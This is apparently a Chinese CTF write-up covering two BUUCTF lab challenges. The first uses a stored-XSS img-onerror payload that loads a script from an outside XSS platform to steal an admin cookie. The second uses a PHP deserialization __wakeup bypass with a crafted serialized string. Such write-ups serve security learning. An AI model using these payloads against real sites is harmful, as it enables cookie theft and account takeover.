buuctf靶机笔记3
BUU XSS COURSE
首页如此
显然是持久性xss将数据存储到后台 管理员访问后台触发xss后 可以盗取cookie对后台进行登录 但我们还不知道后台地址
先尝试:
<script>alert(1)</script>
提交成功 尝试访问
没有触发弹窗
可能后台存在过滤
尝试用img标签:
<img src='11' onerror=alert(11)>
出现弹窗
利用img标签进行xss
选择一个xss平台
得到项目的url
用img构造payload
<img src='11' onerror=s=createElement('script');body.appendChild(s);s.src='//uj.ci/wg5';>
创建一个图片 写入一个不存在的src 当错误时触发创建脚本对象 s 并且将脚本对象s加入到页面中 s的来源是项目url
得到cookie
构造数据包
可以看到数据包的referer是backend/admin.php
加入cookie
得到flag:
[极客大挑战 2019]PHP
根据题目
网站有备份的习惯 进行扫描
得到
www.zip
为目标文件
得到源码进行分析
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
当密码等于100 且用户名为admin时 flag才会被正常输出 而魔术方法wakeup会在对象反序列化时直接执行
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
index中又对select进行了反序列化 显然本题考查的内容是序列化
构造php函数进行测试
构造后的username和password满足要求 但在反序列化触发时 wakeup将name改为guest
没能得到flag
此时可以尝试php的小bug当对象的元素个数小于所声明的个数时 会造成wakeup函数不触发
O:4:"Name":3:
{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
此时不触发wakeup
得到flag
flag{225c1157-aa2d-4fc7-ac47-946d0c1a44a9}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!